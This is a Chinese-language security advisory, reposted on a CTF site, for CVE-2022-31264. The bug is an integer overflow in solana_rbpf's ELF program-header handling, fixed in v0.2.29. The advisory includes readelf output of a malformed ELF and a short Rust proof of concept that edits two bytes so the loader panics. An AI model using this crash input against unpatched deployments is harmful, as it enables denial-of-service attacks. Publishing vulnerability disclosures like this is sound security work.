区块链安全 Solana rbpf 整数溢出漏洞

区块链安全 2年前 (2022) admin
705 0 0

点击上方蓝字“Ots安全”一起玩耍

×


01
 漏洞描述


0.2.29 之前的 Solana solana_rbpf 通过无效的 ELF 程序头有一个加法整数溢出。elf.rs 通过格式错误的 eBPF 程序感到恐慌。


×


02
漏洞状态

# 漏洞状态 描述
1 漏洞细节
2 漏洞类型 整数溢出
3 漏洞等级 未知
4 野外利用 未知
5 EXP 未知
6 POC 未知
7 CVE编号 CVE-2022-31264


×


03
漏洞引用


  • https://github.com/Ainevsia/CVE-Request/tree/main/Solana/1

  • https://github.com/solana-labs/rbpf/releases/tag/v0.2.29



×


04
旧的漏洞



×


05
影响版本


  • <=v0.2.28 


×


06
漏洞分析


Solana rbpf 整数溢出漏洞

此漏洞存在于影响 rbpf <=v0.2.28 版本的 elf 模块 (src/elf.rs) 中。


漏洞描述

solana_rbpf (src/elf.rs) 中存在整数溢出漏洞,这将导致程序在加载格式错误的 ebpf 程序时出现恐慌。


代码在第 132 行的最新 goblin 调试版本中出现了恐慌,很明显这是一个整数溢出,因为 goblin 使用了直接加法运算符,该运算符具有溢出检查。

/// Returns this program header's virtual memory rangepub fn vm_range(&self) -> Range<usize> {    self.p_vaddr as usize..self.p_vaddr as usize + self.p_memsz as usize}

根本原因是给定elf的VirtAddr和MemSiz可能大到足以溢出这个vm_range函数(0xff00000100000000 + 0xff00000000000018)。给出了 readelf -l 的输出,它显示了程序头表。

$ readelf -l reloc_64_relative_high_vaddr.so.malformedProgram Headers:  Type           Offset             VirtAddr           PhysAddr                 FileSiz            MemSiz              Flags  Align  LOAD           0x0000000000001000 0xff00000100000000 0x0000000100000000                 0x0000000000000018 0xff00000000000018  R E    0x1000...[omit]

因此,通过加载格式错误的精灵,攻击者可以轻松地使用精心制作的精灵数据执行拒绝服务攻击。

POCuse solana_rbpf::{    elf::Executable,    user_error::UserError,    vm::{SyscallRegistry, TestInstructionMeter, Config},};

use std::io::Read;

fn main() { let mut config = Config::default(); config.reject_broken_elfs = true; let mut file = std::fs::File::open("./tests/elfs/reloc_64_relative_high_vaddr.so").expect("open failed"); let mut buffer: Vec<u8> = vec![]; file.read_to_end(&mut buffer).expect("read failed"); buffer[80+7] = 0xff; buffer[96+15] = 0xff; Executable::<UserError, TestInstructionMeter>::load(config,&buffer,SyscallRegistry::default()); /* thread 'main' panicked at 'attempt to add with overflow', goblin/src/elf/program_header.rs:132:36 note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace */}

时间线

2022.05.16 向 Solana 官方团队汇报

2022.05.18 Solana 官方团队在v0.2.29中修复了这个问题

2022.05.21 向CVE&CNVD报告

2022.05.22 CVE ID 分配:CVE-2022-31264


致谢

来自上海交通大学 NSSL(网络与系统安全实验室)和北京长亭科技有限公司区块链安全组的@Ainevsia

区块链安全 Solana rbpf 整数溢出漏洞

原文始发于微信公众号(Ots安全):区块链安全 Solana rbpf 整数溢出漏洞

版权声明:admin 发表于 2022年5月22日 下午1:44。
转载请注明:区块链安全 Solana rbpf 整数溢出漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...